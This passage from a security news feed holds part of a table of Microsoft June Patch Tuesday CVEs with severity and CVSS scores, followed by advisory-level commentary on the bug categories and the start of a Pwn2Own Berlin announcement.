  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44807"><span>CVE-2026-44807</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42983"><span>CVE-2026-42983</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44802"><span>CVE-2026-44802</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44813"><span>CVE-2026-44813</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44804"><span>CVE-2026-44804</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48566"><span>CVE-2026-48566</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44814"><span>CVE-2026-44814</span></a></td>
  <td width="256" class="xl68">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45602"><span>CVE-2026-45602</span></a></td>
  <td width="256" class="xl68">Windows Dynamic Host
  Configuration Protocol (DHCP) Tampering Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42836"><span>CVE-2026-42836</span></a></td>
  <td width="256" class="xl68">Windows Function
  Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42910"><span>CVE-2026-42910</span></a></td>
  <td width="256" class="xl68">Windows Hotpatch
  Monitoring Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42972"><span>CVE-2026-42972</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45592"><span>CVE-2026-45592</span></a></td>
  <td width="256" class="xl68">Windows Internet
  (wininet.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42903"><span>CVE-2026-42903</span></a></td>
  <td width="256" class="xl68">Windows Kerberos
  Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42914"><span>CVE-2026-42914</span></a></td>
  <td width="256" class="xl68">Windows Kerberos
  Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48583"><span>CVE-2026-48583</span></a></td>
  <td width="256" class="xl68">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45653"><span>CVE-2026-45653</span></a></td>
  <td width="256" class="xl68">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42984"><span>CVE-2026-42984</span></a></td>
  <td width="256" class="xl68">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45600"><span>CVE-2026-45600</span></a></td>
  <td width="256" class="xl68">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45604"><span>CVE-2026-45604</span></a></td>
  <td width="256" class="xl68">Windows Managed
  Installer Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45595"><span>CVE-2026-45595</span></a></td>
  <td width="256" class="xl68">Windows Mark of the
  Web Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45636"><span>CVE-2026-45636</span></a></td>
  <td width="256" class="xl68">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50508"><span>CVE-2026-50508</span></a></td>
  <td width="256" class="xl68">Windows NTLM Spoofing
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48565"><span>CVE-2026-48565</span></a></td>
  <td width="256" class="xl68">Windows Narrator
  Braille Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44805"><span>CVE-2026-44805</span></a></td>
  <td width="256" class="xl68">Windows Network
  Controller (NC) Host Agent Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42981"><span>CVE-2026-42981</span></a></td>
  <td width="256" class="xl68">Windows Performance
  Monitor Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42974"><span>CVE-2026-42974</span></a></td>
  <td width="256" class="xl68">Windows Performance
  Monitor Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45487"><span>CVE-2026-45487</span></a></td>
  <td width="256" class="xl68">Windows Program
  Compatibility Assistant Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42828"><span>CVE-2026-42828</span></a></td>
  <td width="256" class="xl68">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42837"><span>CVE-2026-42837</span></a></td>
  <td width="256" class="xl68">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42969"><span>CVE-2026-42969</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42971"><span>CVE-2026-42971</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42970"><span>CVE-2026-42970</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42973"><span>CVE-2026-42973</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42978"><span>CVE-2026-42978</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42977"><span>CVE-2026-42977</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42979"><span>CVE-2026-42979</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42991"><span>CVE-2026-42991</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45639"><span>CVE-2026-45639</span></a></td>
  <td width="256" class="xl68">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42908"><span>CVE-2026-42908</span></a></td>
  <td width="256" class="xl68">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45593"><span>CVE-2026-45593</span></a></td>
  <td width="256" class="xl68">Windows SDK Elevation
  of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42906"><span>CVE-2026-42906</span></a></td>
  <td width="256" class="xl68">Windows Shell
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42907"><span>CVE-2026-42907</span></a></td>
  <td width="256" class="xl68">Windows Shell
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47648"><span>CVE-2026-47648</span></a></td>
  <td width="256" class="xl68">Windows Storage
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42915"><span>CVE-2026-42915</span></a></td>
  <td width="256" class="xl68">Windows TCP/IP Denial
  of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42904"><span>CVE-2026-42904</span></a></td>
  <td width="256" class="xl68">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42968"><span>CVE-2026-42968</span></a></td>
  <td width="256" class="xl68">Windows Telephony
  Server Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42912"><span>CVE-2026-42912</span></a></td>
  <td width="256" class="xl68">Windows Telephony
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45597"><span>CVE-2026-45597</span></a></td>
  <td width="256" class="xl68">Windows UI Automation
  Manager (uiamanager.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45599"><span>CVE-2026-45599</span></a></td>
  <td width="256" class="xl68">Windows UPnP Device
  Host Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45635"><span>CVE-2026-45635</span></a></td>
  <td width="256" class="xl68">Windows UPnP Device
  Host Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40409"><span>CVE-2026-40409</span></a></td>
  <td width="256" class="xl68">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40404"><span>CVE-2026-40404</span></a></td>
  <td width="256" class="xl68">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42989"><span>CVE-2026-42989</span></a></td>
  <td width="256" class="xl68">Winlogon
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
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  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Looking at the other Critical-rated bugs in this release, the scariest-looking one is actually nothing to concern yourself with at all. The CVSS 10 bug in Azure HorizonDB has already been addressed by Microsoft and is just being documented now. That’s also the case for five others. Of course, there wouldn’t be a release without Office bugs that have the Preview Pane as an attack vector. There are multiple in June. There’s a handful of bugs in the Remote Desktop Client, but these rely on connecting to a malicious RDP server. There are three patches for Hyper-V that allow for guest-to-host code execution. The bug in Active Directory requires authentication, but any authenticated user can hit it. For the Windows Directory Service vulnerability, it needs to be listening for TFTP. You have blocked that everywhere, right? The bug in Azure Network Adapter is somewhat unique as you need to update your Linux kernel to be protected. The bug in Azure Kubernetes allows an attacker to break out of a container and gain control of the AKS worker node. Finally, the bug in the Kerberos Key Distribution Center (KDC) seems unlikely, but if exploited, it could allow authenticated attackers to get code execution on affected systems.</p><p class="">Moving on to the other code execution bugs, there are the ubiquitous open-an-own bugs in Office components like Excel and Word. The code injection bug in Exchange Server looks troubling, but it requires a machine-in-the-middle (MiTM), so exploitation is unlikely. The bugs in SharePoint require authentication, but you should note that the patch applies to both SharePoint Server 2016 and SharePoint Enterprise Server 2016. The two bugs in UPnP are interesting. Both can lead to code execution by causing an error during the handling of specially crafted data, which could lead to a Use After Free (UAF) bug. The bugs in RDP Client all require connecting to a malicious RDP server, but it’s not clear why some are rated Critical and some are rated Important. The NTFS vulnerability requires a user to mount a virtual hard drive on an affected system. The last RCE bug this month is in Azure Stack Edge and requires the attacker to send a specially crafted file upload request that includes a manipulated file name or path, leading to code execution.</p><p class="">There are more than 60 Elevation of Privilege (EoP) bugs in this month’s release, and as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. A notable exception is in Exchange Server, where a user on Outlook Web Access (OWA) could gain access to other mailboxes. The bug in Visual Studio Code could allow attackers to gain permissions associated with the MCP Server’s managed identity. The bugs in Windows SDK and Windows UI Automation Manager could let attacker go from low integrity up to medium integrity code execution. The bug in Bluetooth just allows “elevated” privileges without really describing what elevated might be. </p><p class="">Moving on to the more than 20 security feature bypass (SFB) bugs in the June release, there are a total of 10 that impact Secure Boot. All carry scope change (S:C) in the CVSS, meaning successful exploitation affects security boundaries beyond the vulnerable component itself — specifically the ability to load untrusted code at boot, bypass Virtual Secure Mode, and undermine boot integrity guarantees. CVE-2026-45654 explicitly calls out VSM exposure. The bulk of these are credited to Alon Leviev (STORM), which is notable given his prior BootKitty/BlackLotus-adjacent research. The bugs in the Windows Boot Manager have a similar impact as the Secure Boot bugs. The UEFI Secure Boot vulnerabilities go a layer deeper. They require either local admin or physical access but could allow for the running of untrusted code even before the OS loads. Rootkits anyone? The four bugs in BitLocker all require physical access but could yield encrypted data if exploited. The bug in Windows Administration Protection allows attackers to bypass the feature that prevents standard-user apps from performing admin-level actions. The bug in Visual Studio Copilot Chat could be the most interesting non-boot bug here as it allows authentication impersonation. Mark of the Web (MotW) and Excel vulns could bypass user warnings. Lastly, the bug in PC Manager bypasses expected user controls. </p><p class="">Turning our attention to the mass of spoofing bugs in the release, we instantly see 18 impacting SharePoint Server. Fortunately, these are simply cross-site scripting (XSS) bugs. It’s the Exchange bugs we should really watch for. One is an XSS that an attacker can exploit by convincing an Exchange administrator to open a malicious link or message, which then runs code in the admin's web session. That's a meaningful privilege escalation path. Another is listed as an SSRF-based attack, but no other details are available. The last is a lower-impact XSS with limited confidentiality/integrity loss. The bug in Bing Search (remember Bing?) is a classic search result spoofing. The bug in Azure Stack Edge is interesting as it could allow access to resources outside the vulnerable component's security boundary. The bug in Office for Android requires user interaction. The Office Project Server bug is an authenticated XSS with low impact. The final spoofing bug is in Azure Attestation but has already been addressed. You should still verify you are protected by following the instructions in the write-up from Microsoft.</p><p class="">There are 30 different information disclosure bugs in this release, and fortunately, the vast majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The two bugs in Visual Studio require user interaction and could “disclose information over a network.” How obtuse. The bug in GitHub Copilot and Visual Studio Code could disclose discloses a sign-in access token for a user's work account. That's a meaningful credential exposure, not just random memory. That leaves the two bugs in Exchange Server. One could allow an authenticated user to gain information about which network services that the Exchange server can reach. The other sounds much like the spoofing bug in OWA as it allows attackers to see information in mailboxes they should not have access to.</p><p class="">I’ve never been a fan of the “tampering” category, as it could mean so many different things. For example, the bug in .NET simply says it could allow an unauthorized attacker to perform tampering locally. Similarly, the bug in Visual Studio says the same, expect here the tampering occurs over a network. Microsoft doesn’t even bother with a CWE for the tampering bug in the DHCP Server, so your guess is as good as mine.</p><p class="">There are seven DoS bugs in the June release, and as usual, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting is the bug in HTTP.sys, which is listed as publicly known. This is an uncontrolled resource consumption, rated "Exploitation More Likely," and publicly disclosed. Since, HTTP.sys sits at the core of IIS and Windows web services, a network-accessible DoS here can take down any Windows server running HTTP-based services. Based on the Acknowledgement, it looks like this bug may have been found using AI. There are no real details for the other bugs, but based simply on the impact, I would focus on the Kerberos and TCP/IP bugs if you had to prioritize.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">The next Patch Tuesday will be on July 14 and will be the last one before Black Hat/DEFCON. It’s usually a big release, so strap in and hang on. I’ll be back then to give you my full thoughts. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p><p class=""> </p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Announcing Pwn2Own Berlin for 2026]]></title>
<description><![CDATA[If you just want to read the contest rules, click here. Willkommen zurück, meine Damen und Herren, zu unserem zweiten Wettbewerb in Berlin! That’s correct (if Google translate didn’t steer me wrong). After our inaugural competition last year, Pwn2Own returns to Berlin and OffensiveCon. Outside of...]]></description>
<link>https://tsecurity.de/de/3694471/it-security-nachrichten/announcing-pwn2own-berlin-for-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694471/it-security-nachrichten/announcing-pwn2own-berlin-for-2026/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
